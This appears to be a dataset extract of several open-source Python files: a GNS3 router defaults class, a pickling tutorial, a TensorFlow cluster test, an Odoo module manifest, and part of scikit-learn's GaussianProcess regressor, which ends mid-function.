repo_name stringlengths 6 100 | path stringlengths 4 294 | copies stringlengths 1 5 | size stringlengths 4 6 | content stringlengths 606 896k | license stringclasses 15
values |
|---|---|---|---|---|---|
dlintott/gns3 | src/GNS3/Defaults/IOSRouter3700Defaults.py | 3 | 1505 | # vim: expandtab ts=4 sw=4 sts=4 fileencoding=utf-8:
#
# Copyright (C) 2007-2010 GNS3 Development Team (http://www.gns3.net/team).
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation;
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# http://www.gns3.net/contact
#
from GNS3.Defaults.IOSRouterDefaults import IOSRouterDefaults
class IOSRouter3700Defaults(IOSRouterDefaults):
""" Class for managing the defaults of Cisco 3700 platform
"""
def __init__(self):
IOSRouterDefaults.__init__(self)
#fill 3700 defaults
self.default_ram = 128
self.default_nvram = 55
self.default_disk0 = 16
self.default_disk1 = 0
def set_image(self, image, model):
""" Set a image path
image: string
model: string
"""
IOSRouterDefaults.set_image(self, image, model)
# 3745 has a different default nvram
if model == '3745':
self.default_nvram = 151
| gpl-2.0 |
arunchandramouli/fanofpython | code/features/classes/serialize.py | 1 | 2846 | '''
Use Case: Exploring the Concept of Serializing and De-Serializing in Python
Shortly called as pickling, the needs is to store the object and later resurrect it
----> Use dump for serializing the records into a file
----> Use dumps for serializing the records into a string
----> Use load for serializing the records from a file
----> Use loads for serializing the records from a string
'''
'''
Module needed for pickling
'''
import pickle
'''
Date and time
'''
import datetime
'''
Lets serialize some basic data-types
'''
# Define a Dictionary
pickleme = {}
'''
To this dictionary let's add several data types such as list, tuple, dictionary,int,str,float,boolean etc..
'''
pickleme['name'] = 'Einstein'
pickleme['type'] = True
pickleme['number']= 10000
pickleme[100] = 10000
pickleme['more'] = [100.12,700.90,800.22,900.20,300.6,1000,789,679,27,"21N"]
pickleme['data'] = [100,200,300,400,500,"Python","Javascript","C","Java",True,False,None]
pickleme['info'] = (100,200,300,400,500,"Python","Javascript","C","Java",True,False,None)
pickleme['currtime'] = datetime.datetime.now()
'''
A Simple Class
'''
# New Style
class Me(object):
hello = 'world'
def simple_func(self):
return "I belong to class Me"
# Old Style
class Python :pass
'''
Please remember that none of the class attributes will be restored while unpickling .
In this case hello = 'world' will not be available while deserializing
There are ways to do it but...
'''
pickleme['newstyleclass'] = Me
pickleme['oldstyleclass'] = Python
'''
Lets pickle this information to a file
'''
if __name__ =="__main__":
'''
Step 1 :: Serialize it - load into some place
'''
with open('pickleme.pickle','wb') as writer:
'''
Use dump for serializing the records into a file
Use dumps for serializing the records into a string
'''
pickle.dump(pickleme,writer)
'''
Step 2 :: De-Serialize it - load from some place
'''
with open('pickleme.pickle','rb') as reader:
'''
Use load for serializing the records from a file
Use loads for serializing the records from a string
'''
'''
When we load it actually returns a dictionary, hence we can iterate on it
Iterate the dictionary and check for the items, if they are restored properly and do something more useful
'''
getdata = pickle.load(reader)
for key,val in getdata.items():
print key,val,'\n'
''' Now lets pick the class object Me from the returned dict and analyse more '''
myclass = getdata['newstyleclass']
print myclass.__dict__
n
| gpl-3.0 |
koobonil/Boss2D | Boss2D/addon/tensorflow-1.2.1_for_boss/tensorflow/python/training/localhost_cluster_performance_test.py | 92 | 4604 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests and benchmarks for creating RPC clusters on localhost."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import time
import numpy as np
from tensorflow.python.client import session as session_lib
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.ops import partitioned_variables
from tensorflow.python.ops import variable_scope
from tensorflow.python.ops import variables
from tensorflow.python.platform import test
from tensorflow.python.training import device_setter
class CreateLocalClusterTest(test.TestCase):
def testCreateLocalCluster(self):
workers, _ = test.create_local_cluster(num_workers=2, num_ps=2)
worker_sessions = [session_lib.Session(w.target) for w in workers]
with ops.device("/job:ps/task:0"):
var0 = variables.Variable(0.0)
with ops.device("/job:ps/task:1"):
var1 = variables.Variable(1.0)
worker_sessions[0].run([var0.initializer, var1.initializer])
with ops.device("/job:ps/task:0"):
var2 = variables.Variable(2.0)
with ops.device("/job:ps/task:1"):
var3 = variables.Variable(3.0)
worker_sessions[1].run([var2.initializer, var3.initializer])
# Read values back in the opposite session
self.assertAllEqual(0.0, var0.eval(session=worker_sessions[1]))
self.assertAllEqual(1.0, var1.eval(session=worker_sessions[1]))
self.assertAllEqual(2.0, var2.eval(session=worker_sessions[0]))
self.assertAllEqual(3.0, var3.eval(session=worker_sessions[0]))
class CreateLocalClusterBenchmark(test.Benchmark):
def benchmarkCreateLocalCluster(self):
deltas = []
iters = 5
for _ in range(iters):
start_time = time.time()
test.create_local_cluster(num_workers=1, num_ps=10)
end_time = time.time()
deltas.append(end_time - start_time)
median_deltas = np.median(deltas)
print("\n\nbenchmark_create_local_cluster_1_worker_10_ps. "
"iterations: %d, median wall time: %g\n\n" % (iters, median_deltas))
self.report_benchmark(
iters=iters,
wall_time=median_deltas,
name="benchmark_create_local_cluster_1_worker_10_ps")
class PartitionedVariablesBenchmark(test.Benchmark):
def benchmark_create_1000_partitions_with_100_parameter_servers(self):
workers, _ = test.create_local_cluster(num_workers=1, num_ps=100)
worker_sessions = [session_lib.Session(w.target) for w in workers]
worker = worker_sessions[0]
partition_sizes = (1, 512, 1024 * 32, 1024 * 128)
partitioned = []
for partition_size in partition_sizes:
# max_shard_bytes is 4, shape is 1000*partition_size float32s which should
# partition into 1000 shards, each containing partition_size float32s.
print("Building partitioned variable with %d floats per partition" %
partition_size)
with ops.device(device_setter.replica_device_setter(ps_tasks=100)):
partitioned_ix = variable_scope.get_variable(
"partitioned_%d" % partition_size,
shape=[1000 * partition_size],
dtype=dtypes.float32,
# Each partition to have exactly N float32s
partitioner=partitioned_variables.variable_axis_size_partitioner(
max_shard_bytes=4 * partition_size))
# Concatenates along axis 0
partitioned.append(ops.convert_to_tensor(partitioned_ix))
variables.global_variables_initializer().run(session=worker)
for ix, partition_size in enumerate(partition_sizes):
print("Running benchmark having partitions with %d floats" %
partition_size)
self.run_op_benchmark(
worker,
partitioned[ix],
name=("read_concat_1000_partitions_from_"
"100_parameter_servers_partsize_%d_floats" % partition_size))
if __name__ == "__main__":
test.main()
| mit |
massot/odoo | addons/product_expiry/__openerp__.py | 52 | 1870 | ##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
{
'name' : 'Products Expiry Date',
'version' : '1.0',
'author' : 'OpenERP SA',
'category' : 'Specific Industry Applications',
'website': 'https://www.odoo.com',
'depends' : ['stock'],
'demo' : ['product_expiry_demo.xml'],
'description': """
Track different dates on products and production lots.
======================================================
Following dates can be tracked:
-------------------------------
- end of life
- best before date
- removal date
- alert date
Also implements the removal strategy First Expiry First Out (FEFO) widely used, for example, in food industries.
""",
'data' : ['product_expiry_view.xml', 'product_expiry_data.xml'],
'auto_install': False,
'installable': True,
'images': ['images/production_lots_dates.jpeg','images/products_dates.jpeg'],
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
billy-inn/scikit-learn | sklearn/gaussian_process/gaussian_process.py | 83 | 34544 | # -*- coding: utf-8 -*-
# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
# (mostly translation, see implementation details)
# Licence: BSD 3 clause
from __future__ import print_function
import numpy as np
from scipy import linalg, optimize
from ..base import BaseEstimator, RegressorMixin
from ..metrics.pairwise import manhattan_distances
from ..utils import check_random_state, check_array, check_X_y
from ..utils.validation import check_is_fitted
from . import regression_models as regression
from . import correlation_models as correlation
MACHINE_EPSILON = np.finfo(np.double).eps
def l1_cross_distances(X):
"""
Computes the nonzero componentwise L1 cross-distances between the vectors
in X.
Parameters
----------
X: array_like
An array with shape (n_samples, n_features)
Returns
-------
D: array with shape (n_samples * (n_samples - 1) / 2, n_features)
The array of componentwise L1 cross-distances.
ij: arrays with shape (n_samples * (n_samples - 1) / 2, 2)
The indices i and j of the vectors in X associated to the cross-
distances in D: D[k] = np.abs(X[ij[k, 0]] - Y[ij[k, 1]]).
"""
X = check_array(X)
n_samples, n_features = X.shape
n_nonzero_cross_dist = n_samples * (n_samples - 1) // 2
ij = np.zeros((n_nonzero_cross_dist, 2), dtype=np.int)
D = np.zeros((n_nonzero_cross_dist, n_features))
ll_1 = 0
for k in range(n_samples - 1):
ll_0 = ll_1
ll_1 = ll_0 + n_samples - k - 1
ij[ll_0:ll_1, 0] = k
ij[ll_0:ll_1, 1] = np.arange(k + 1, n_samples)
D[ll_0:ll_1] = np.abs(X[k] - X[(k + 1):n_samples])
return D, ij
class GaussianProcess(BaseEstimator, RegressorMixin):
"""The Gaussian Process model class.
Read more in the :ref:`User Guide <gaussian_process>`.
Parameters
----------
regr : string or callable, optional
A regression function returning an array of outputs of the linear
regression functional basis. The number of observations n_samples
should be greater than the size p of this basis.
Default assumes a simple constant regression trend.
Available built-in regression models are::
'constant', 'linear', 'quadratic'
corr : string or callable, optional
A stationary autocorrelation function returning the autocorrelation
between two points x and x'.
Default assumes a squared-exponential autocorrelation model.
Built-in correlation models are::
'absolute_exponential', 'squared_exponential',
'generalized_exponential', 'cubic', 'linear'
beta0 : double array_like, optional
The regression weight vector to perform Ordinary Kriging (OK).
Default assumes Universal Kriging (UK) so that the vector beta of
regression weights is estimated using the maximum likelihood
principle.
storage_mode : string, optional
A string specifying whether the Cholesky decomposition of the
correlation matrix should be stored in the class (storage_mode =
'full') or not (storage_mode = 'light').
Default assumes storage_mode = 'full', so that the
Cholesky decomposition of the correlation matrix is stored.
This might be a useful parameter when one is not interested in the
MSE and only plan to estimate the BLUP, for which the correlation
matrix is not required.
verbose : boolean, optional
A boolean specifying the verbose level.
Default is verbose = False.
theta0 : double array_like, optional
An array with shape (n_features, ) or (1, ).
The parameters in the autocorrelation model.
If thetaL and thetaU are also specified, theta0 is considered as
the starting point for the maximum likelihood estimation of the
best set of parameters.
Default assumes isotropic autocorrelation model with theta0 = 1e-1.
thetaL : double array_like, optional
An array with shape matching theta0's.
Lower bound on the autocorrelation parameters for maximum
likelihood estimation.
Default is None, so that it skips maximum likelihood estimation and
it uses theta0.
thetaU : double array_like, optional
An array with shape matching theta0's.
Upper bound on the autocorrelation parameters for maximum
likelihood estimation.
Default is None, so that it skips maximum likelihood estimation and
it uses theta0.
normalize : boolean, optional
Input X and observations y are centered and reduced wrt
means and standard deviations estimated from the n_samples
observations provided.
Default is normalize = True so that data is normalized to ease
maximum likelihood estimation.
nugget : double or ndarray, optional
Introduce a nugget effect to allow smooth predictions from noisy
data. If nugget is an ndarray, it must be the same length as the
number of data points used for the fit.
The nugget is added to the diagonal of the assumed training covariance;
in this way it acts as a Tikhonov regularization in the problem. In
the special case of the squared exponential correlation function, the
nugget mathematically represents the variance of the input values.
Default assumes a nugget close to machine precision for the sake of
robustness (nugget = 10. * MACHINE_EPSILON).
optimizer : string, optional
A string specifying the optimization algorithm to be used.
Default uses 'fmin_cobyla' algorithm from scipy.optimize.
Available optimizers are::
'fmin_cobyla', 'Welch'
'Welch' optimizer is dued to Welch et al., see reference [WBSWM1992]_.
It consists in iterating over several one-dimensional optimizations
instead of running one single multi-dimensional optimization.
random_start : int, optional
The number of times the Maximum Likelihood Estimation should be
performed from a random starting point.
The first MLE always uses the specified starting point (theta0),
the next starting points are picked at random according to an
exponential distribution (log-uniform on [thetaL, thetaU]).
Default does not use random starting point (random_start = 1).
random_state: integer or numpy.RandomState, optional
The generator used to shuffle the sequence of coordinates of theta in
the Welch optimizer. If an integer is given, it fixes the seed.
Defaults to the global numpy random number generator.
Attributes
----------
theta_ : array
Specified theta OR the best set of autocorrelation parameters (the \
sought maximizer of the reduced likelihood function).
reduced_likelihood_function_value_ : array
The optimal reduced likelihood function value.
Examples
--------
>>> import numpy as np
>>> from sklearn.gaussian_process import GaussianProcess
>>> X = np.array([[1., 3., 5., 6., 7., 8.]]).T
>>> y = (X * np.sin(X)).ravel()
>>> gp = GaussianProcess(theta0=0.1, thetaL=.001, thetaU=1.)
>>> gp.fit(X, y) # doctest: +ELLIPSIS
GaussianProcess(beta0=None...
...
Notes
-----
The presentation implementation is based on a translation of the DACE
Matlab toolbox, see reference [NLNS2002]_.
References
----------
.. [NLNS2002] `H.B. Nielsen, S.N. Lophaven, H. B. Nielsen and J.
Sondergaard. DACE - A MATLAB Kriging Toolbox.` (2002)
http://www2.imm.dtu.dk/~hbn/dace/dace.pdf
.. [WBSWM1992] `W.J. Welch, R.J. Buck, J. Sacks, H.P. Wynn, T.J. Mitchell,
and M.D. Morris (1992). Screening, predicting, and computer
experiments. Technometrics, 34(1) 15--25.`
http://www.jstor.org/pss/1269548
"""
_regression_types = {
'constant': regression.constant,
'linear': regression.linear,
'quadratic': regression.quadratic}
_correlation_types = {
'absolute_exponential': correlation.absolute_exponential,
'squared_exponential': correlation.squared_exponential,
'generalized_exponential': correlation.generalized_exponential,
'cubic': correlation.cubic,
'linear': correlation.linear}
_optimizer_types = [
'fmin_cobyla',
'Welch']
def __init__(self, regr='constant', corr='squared_exponential', beta0=None,
storage_mode='full', verbose=False, theta0=1e-1,
thetaL=None, thetaU=None, optimizer='fmin_cobyla',
random_start=1, normalize=True,
nugget=10. * MACHINE_EPSILON, random_state=None):
self.regr = regr
self.corr = corr
self.beta0 = beta0
self.storage_mode = storage_mode
self.verbose = verbose
self.theta0 = theta0
self.thetaL = thetaL
self.thetaU = thetaU
self.normalize = normalize
self.nugget = nugget
self.optimizer = optimizer
self.random_start = random_start
self.random_state = random_state
def fit(self, X, y):
"""
The Gaussian Process model fitting method.
Parameters
----------
X : double array_like
An array with shape (n_samples, n_features) with the input at which
observations were made.
y : double array_like
An array with shape (n_samples, ) or shape (n_samples, n_targets)
with the observations of the output to be predicted.
Returns
-------
gp : self
A fitted Gaussian Process model object awaiting data to perform
predictions.
"""
# Run input checks
self._check_params()
self.random_state = check_random_state(self.random_state)
# Force data to 2D numpy.array
X, y = check_X_y(X, y, multi_output=True, y_numeric=True)
self.y_ndim_ = y.ndim
if y.ndim == 1:
y = y[:, np.newaxis]
# Check shapes of DOE & observations
n_samples, n_features = X.shape
_, n_targets = y.shape
# Run input checks
self._check_params(n_samples)
# Normalize data or don't
if self.normalize:
X_mean = np.mean(X, axis=0)
X_std = np.std(X, axis=0)
y_mean = np.mean(y, axis=0)
y_std = np.std(y, axis=0)
X_std[X_std == 0.] = 1.
y_std[y_std == 0.] = 1.
# center and scale X if necessary
X = (X - X_mean) / X_std
y = (y - y_mean) / y_std
else:
X_mean = np.zeros(1)
X_std = np.ones(1)
y_mean = np.zeros(1)
y_std = np.ones(1)
# Calculate matrix of distances D between samples
D, ij = l1_cross_distances(X)
if (np.min(np.sum(D, axis=1)) == 0.
and self.corr != correlation.pure_nugget):
raise Exception("Multiple input features cannot have the same"
" target value.")
# Regression matrix and parameters
F = self.regr(X)
n_samples_F = F.shape[0]
if F.ndim > 1:
p = F.shape[1]
else:
p = 1
if n_samples_F != n_samples:
raise Exception("Number of rows in F and X do not match. Most "
"likely something is going wrong with the "
"regression model.")
if p > n_samples_F:
raise Exception(("Ordinary least squares problem is undetermined "
"n_samples=%d must be greater than the "
"regression model size p=%d.") % (n_samples, p))
if self.beta0 is not None:
if self.beta0.shape[0] != p:
raise Exception("Shapes of beta0 and F do not match.")
# Set attributes
self.X = X
self.y = y
self.D = D
self.ij = ij
self.F = F
self.X_mean, self.X_std = X_mean, X_std
self.y_mean, self.y_std = y_mean, y_std
# Determine Gaussian Process model parameters
if self.thetaL is not None and self.thetaU is not None:
# Maximum Likelihood Estimation of the parameters
if self.verbose:
print("Performing Maximum Likelihood Estimation of the "
"autocorrelation parameters...")
self.theta_, self.reduced_likelihood_function_value_, par = \
self._arg_max_reduced_likelihood_function()
if np.isinf(self.reduced_likelihood_function_value_):
raise Exception("Bad parameter region. "
"Try increasing upper bound")
else:
# Given parameters
if self.verbose:
print("Given autocorrelation parameters. "
"Computing Gaussian Process model parameters...")
self.theta_ = self.theta0
self.reduced_likelihood_function_value_, par = \
self.reduced_likelihood_function()
if np.isinf(self.reduced_likelihood_function_value_):
raise Exception("Bad point. Try increasing theta0.")
self.beta = par['beta']
self.gamma = par['gamma']
self.sigma2 = par['sigma2']
self.C = par['C']
self.Ft = par['Ft']
self.G = par['G']
if self.storage_mode == 'light':
# Delete heavy data (it will be computed again if required)
# (it is required only when MSE is wanted in self.predict)
if self.verbose:
print("Light storage mode specified. "
"Flushing autocorrelation matrix...")
self.D = None
self.ij = None
self.F = None
self.C = None
self.Ft = None
self.G = None
return self
def predict(self, X, eval_MSE=False, batch_size=None):
"""
This function evaluates the Gaussian Process model at x.
Parameters
----------
X : array_like
An array with shape (n_eval, n_features) giving the point(s) at
which the prediction(s) should be made.
eval_MSE : boolean, optional
A boolean specifying whether the Mean Squared Error should be
evaluated or not.
Default assumes evalMSE = False and evaluates only the BLUP (mean
prediction).
batch_size : integer, optional
An integer giving the maximum number of points that can be
evaluated simultaneously (depending on the available memory).
Default is None so that all given points are evaluated at the same
time.
Returns
-------
y : array_like, shape (n_samples, ) or (n_samples, n_targets)
An array with shape (n_eval, ) if the Gaussian Process was trained
on an array of shape (n_samples, ) or an array with shape
(n_eval, n_targets) if the Gaussian Process was trained on an array
of shape (n_samples, n_targets) with the Best Linear Unbiased
Prediction at x.
MSE : array_like, optional (if eval_MSE == True)
An array with shape (n_eval, ) or (n_eval, n_targets) as with y,
with the Mean Squared Error at x.
"""
check_is_fitted(self, "X")
# Check input shapes
X = check_array(X)
n_eval, _ = X.shape
n_samples, n_features = self.X.shape
n_samples_y, n_targets = self.y.shape
# Run input checks
self._check_params(n_samples)
if X.shape[1] != n_features:
raise ValueError(("The number of features in X (X.shape[1] = %d) "
"should match the number of features used "
"for fit() "
"which is %d.") % (X.shape[1], n_features))
if batch_size is None:
# No memory management
# (evaluates all given points in a single batch run)
# Normalize input
X = (X - self.X_mean) / self.X_std
# Initialize output
y = np.zeros(n_eval)
if eval_MSE:
MSE = np.zeros(n_eval)
# Get pairwise componentwise L1-distances to the input training set
dx = manhattan_distances(X, Y=self.X, sum_over_features=False)
# Get regression function and correlation
f = self.regr(X)
r = self.corr(self.theta_, dx).reshape(n_eval, n_samples)
# Scaled predictor
y_ = np.dot(f, self.beta) + np.dot(r, self.gamma)
# Predictor
y = (self.y_mean + self.y_std * y_).reshape(n_eval, n_targets)
if self.y_ndim_ == 1:
y = y.ravel()
# Mean Squared Error
if eval_MSE:
C = self.C
if C is None:
# Light storage mode (need to recompute C, F, Ft and G)
if self.verbose:
print("This GaussianProcess used 'light' storage mode "
"at instantiation. Need to recompute "
"autocorrelation matrix...")
reduced_likelihood_function_value, par = \
self.reduced_likelihood_function()
self.C = par['C']
self.Ft = par['Ft']
self.G = par['G']
rt = linalg.solve_triangular(self.C, r.T, lower=True)
if self.beta0 is None:
# Universal Kriging
u = linalg.solve_triangular(self.G.T,
np.dot(self.Ft.T, rt) - f.T,
lower=True)
else:
# Ordinary Kriging
u = np.zeros((n_targets, n_eval))
MSE = np.dot(self.sigma2.reshape(n_targets, 1),
(1. - (rt ** 2.).sum(axis=0)
+ (u ** 2.).sum(axis=0))[np.newaxis, :])
MSE = np.sqrt((MSE ** 2.).sum(axis=0) / n_targets)
# Mean Squared Error might be slightly negative depending on
# machine precision: force to zero!
MSE[MSE < 0.] = 0.
if self.y_ndim_ == 1:
MSE = MSE.ravel()
return y, MSE
else:
return y
else:
# Memory management
if type(batch_size) is not int or batch_size <= 0:
raise Exception("batch_size must be a positive integer")
if eval_MSE:
y, MSE = np.zeros(n_eval), np.zeros(n_eval)
for k in range(max(1, n_eval / batch_size)):
batch_from = k * batch_size
batch_to = min([(k + 1) * batch_size + 1, n_eval + 1])
y[batch_from:batch_to], MSE[batch_from:batch_to] = \
self.predict(X[batch_from:batch_to],
eval_MSE=eval_MSE, batch_size=None)
return y, MSE
else:
y = np.zeros(n_eval)
for k in range(max(1, n_eval / batch_size)):
batch_from = k * batch_size
batch_to = min([(k + 1) * batch_size + 1, n_eval + 1])
y[batch_from:batch_to] = \
self.predict(X[batch_from:batch_to],
eval_MSE=eval_MSE, batch_size=None)
return y
def reduced_likelihood_function(self, theta=None):
"""
This function determines the BLUP parameters and evaluates the reduced
likelihood function for the given autocorrelation parameters theta.
Maximizing this function wrt the autocorrelation parameters theta is
equivalent to maximizing the likelihood of the assumed joint Gaussian
distribution of the observations y evaluated onto the design of
experiments X.
Parameters
----------
theta : array_like, optional
An array containing the autocorrelation parameters at which the
Gaussian Process model parameters should be determined.
Default uses the built-in autocorrelation parameters
(ie ``theta = self.theta_``).
Returns
-------
reduced_likelihood_function_value : double
The value of the reduced likelihood function associated to the
given autocorrelation parameters theta.
par : dict
A dictionary containing the requested Gaussian Process model
parameters:
sigma2
Gaussian Process variance.
beta
Generalized least-squares regression weights for
Universal Kriging or given beta0 for Ordinary
Kriging.
gamma
Gaussian Process weights.
C
Cholesky decomposition of the correlation matrix [R].
Ft
Solution of the linear equation system : [R] x Ft = F
G
QR decomposition of the matrix Ft.
"""
check_is_fitted(self, "X")
if theta is None:
# Use built-in autocorrelation parameters
theta = self.theta_
# Initialize output
reduced_likelihood_function_value = - np.inf
par = {}
# Retrieve data
n_samples = self.X.shape[0]
D = self.D
ij = self.ij
F = self.F
if D is None:
# Light storage mode (need to recompute D, ij and F)
D, ij = l1_cross_distances(self.X)
if (np.min(np.sum(D, axis=1)) == 0.
and self.corr != correlation.pure_nugget):
raise Exception("Multiple X are not allowed")
F = self.regr(self.X)
# Set up R
r = self.corr(theta, D)
R = np.eye(n_samples) * (1. + self.nugget)
R[ij[:, 0], ij[:, 1]] = r
R[ij[:, 1], ij[:, 0]] = r
# Cholesky decomposition of R
try:
C = linalg.cholesky(R, lower=True)
except linalg.LinAlgError:
return reduced_likelihood_function_value, par
# Get generalized least squares solution
Ft = linalg.solve_triangular(C, F, lower=True)
try:
Q, G = linalg.qr(Ft, econ=True)
except:
#/usr/lib/python2.6/dist-packages/scipy/linalg/decomp.py:1177:
# DeprecationWarning: qr econ argument will be removed after scipy
# 0.7. The economy transform will then be available through the
# mode='economic' argument.
Q, G = linalg.qr(Ft, mode='economic')
pass
sv = linalg.svd(G, compute_uv=False)
rcondG = sv[-1] / sv[0]
if rcondG < 1e-10:
# Check F
sv = linalg.svd(F, compute_uv=False)
condF = sv[0] / sv[-1]
if condF > 1e15:
raise Exception("F is too ill conditioned. Poor combination "
"of regression model and observations.")
else:
# Ft is too ill conditioned, get out (try different theta)
return reduced_likelihood_function_value, par
Yt = linalg.solve_triangular(C, self.y, lower=True)
if self.beta0 is None:
# Universal Kriging
beta = linalg.solve_triangular(G, np.dot(Q.T, Yt))
else:
# Ordinary Kriging
beta = np.array(self.beta0)
rho = Yt - np.dot(Ft, beta)
sigma2 = (rho ** 2.).sum(axis=0) / n_samples
# The determinant of R is equal to the squared product of the diagonal
# elements of its Cholesky decomposition C
detR = (np.diag(C) ** (2. / n_samples)).prod()
# Compute/Organize output
reduced_likelihood_function_value = - sigma2.sum() * detR
par['sigma2'] = sigma2 * self.y_std ** 2.
par['beta'] = beta
par['gamma'] = linalg.solve_triangular(C.T, rho)
par['C'] = C
par['Ft'] = Ft
par['G'] = G
return reduced_likelihood_function_value, par
def _arg_max_reduced_likelihood_function(self):
"""
This function estimates the autocorrelation parameters theta as the
maximizer of the reduced likelihood function.
(Minimization of the opposite reduced likelihood function is used for
convenience)
Parameters
----------
self : All parameters are stored in the Gaussian Process model object.
Returns
-------
optimal_theta : array_like
The best set of autocorrelation parameters (the sought maximizer of
the reduced likelihood function).
optimal_reduced_likelihood_function_value : double
The optimal reduced likelihood function value.
optimal_par : dict
The BLUP parameters associated to thetaOpt.
"""
# Initialize output
best_optimal_theta = []
best_optimal_rlf_value = []
best_optimal_par = []
if self.verbose:
print("The chosen optimizer is: " + str(self.optimizer))
if self.random_start > 1:
print(str(self.random_start) + " random starts are required.")
percent_completed = 0.
# Force optimizer to fmin_cobyla if the model is meant to be isotropic
if self.optimizer == 'Welch' and self.theta0.size == 1:
self.optimizer = 'fmin_cobyla'
if self.optimizer == 'fmin_cobyla':
def minus_reduced_likelihood_function(log10t):
return - self.reduced_likelihood_function(
theta=10. ** log10t)[0]
constraints = []
for i in range(self.theta0.size):
constraints.append(lambda log10t, i=i:
log10t[i] - np.log10(self.thetaL[0, i]))
constraints.append(lambda log10t, i=i:
np.log10(self.thetaU[0, i]) - log10t[i])
for k in range(self.random_start):
if k == 0:
# Use specified starting point as first guess
theta0 = self.theta0
else:
# Generate a random starting point log10-uniformly
# distributed between bounds
log10theta0 = (np.log10(self.thetaL)
+ self.random_state.rand(*self.theta0.shape)
* np.log10(self.thetaU / self.thetaL))
theta0 = 10. ** log10theta0
# Run Cobyla
try:
log10_optimal_theta = \
optimize.fmin_cobyla(minus_reduced_likelihood_function,
np.log10(theta0).ravel(), constraints,
iprint=0)
except ValueError as ve:
print("Optimization failed. Try increasing the ``nugget``")
raise ve
optimal_theta = 10. ** log10_optimal_theta
optimal_rlf_value, optimal_par = \
self.reduced_likelihood_function(theta=optimal_theta)
# Compare the new optimizer to the best previous one
if k > 0:
if optimal_rlf_value > best_optimal_rlf_value:
best_optimal_rlf_value = optimal_rlf_value
best_optimal_par = optimal_par
best_optimal_theta = optimal_theta
else:
best_optimal_rlf_value = optimal_rlf_value
best_optimal_par = optimal_par
best_optimal_theta = optimal_theta
if self.verbose and self.random_start > 1:
if (20 * k) / self.random_start > percent_completed:
percent_completed = (20 * k) / self.random_start
print("%s completed" % (5 * percent_completed))
optimal_rlf_value = best_optimal_rlf_value
optimal_par = best_optimal_par
optimal_theta = best_optimal_theta
elif self.optimizer == 'Welch':
# Backup of the given atrributes
theta0, thetaL, thetaU = self.theta0, self.thetaL, self.thetaU
corr = self.corr
verbose = self.verbose
# This will iterate over fmin_cobyla optimizer
self.optimizer = 'fmin_cobyla'
self.verbose = False
# Initialize under isotropy assumption
if verbose:
print("Initialize under isotropy assumption...")
self.theta0 = check_array(self.theta0.min())
self.thetaL = check_array(self.thetaL.min())
self.thetaU = check_array(self.thetaU.max())
theta_iso, optimal_rlf_value_iso, par_iso = \
self._arg_max_reduced_likelihood_function()
optimal_theta = theta_iso + np.zeros(theta0.shape)
# Iterate over all dimensions of theta allowing for anisotropy
if verbose:
print("Now improving allowing for anisotropy...")
for i in self.random_state.permutation(theta0.size):
if verbose:
print("Proceeding along dimension %d..." % (i + 1))
self.theta0 = check_array(theta_iso)
self.thetaL = check_array(thetaL[0, i])
self.thetaU = check_array(thetaU[0, i])
def corr_cut(t, d):
return corr(check_array(np.hstack([optimal_theta[0][0:i],
t[0],
optimal_theta[0][(i +
1)::]])),
d)
self.corr = corr_cut
optimal_theta[0, i], optimal_rlf_value, optimal_par = \
self._arg_max_reduced_likelihood_function()
# Restore the given atrributes
self.theta0, self.thetaL, self.thetaU = theta0, thetaL, thetaU
self.corr = corr
self.optimizer = 'Welch'
self.verbose = verbose
else:
raise NotImplementedError("This optimizer ('%s') is not "
"implemented yet. Please contribute!"
% self.optimizer)
return optimal_theta, optimal_rlf_value, optimal_par
def _check_params(self, n_samples=None):
# Check regression model
if not callable(self.regr):
if self.regr in self._regression_types:
self.regr = self._regression_types[self.regr]
else:
raise ValueError("regr should be one of %s or callable, "
"%s was given."
% (self._regression_types.keys(), self.regr))
# Check regression weights if given (Ordinary Kriging)
if self.beta0 is not None:
self.beta0 = check_array(self.beta0)
if self.beta0.shape[1] != 1:
# Force to column vector
self.beta0 = self.beta0.T
# Check correlation model
if not callable(self.corr):
if self.corr in self._correlation_types:
self.corr = self._correlation_types[self.corr]
else:
raise ValueError("corr should be one of %s or callable, "
"%s was given."
% (self._correlation_types.keys(), self.corr))
# Check storage mode
if self.storage_mode != 'full' and self.storage_mode != 'light':
raise ValueError("Storage mode should either be 'full' or "
"'light', %s was given." % self.storage_mode)
# Check correlation parameters
self.theta0 = check_array(self.theta0)
lth = self.theta0.size
if self.thetaL is not None and self.thetaU is not None:
self.thetaL = check_array(self.thetaL)
self.thetaU = check_array(self.thetaU)
if self.thetaL.size != lth or self.thetaU.size != lth:
raise ValueError("theta0, thetaL and thetaU must have the "
"same length.")
if np.any(self.thetaL <= 0) or np.any(self.thetaU < self.thetaL):
raise ValueError("The bounds must satisfy O < thetaL <= "
"thetaU.")
elif self.thetaL is None and self.thetaU is None:
if np.any(self.theta0 <= 0):
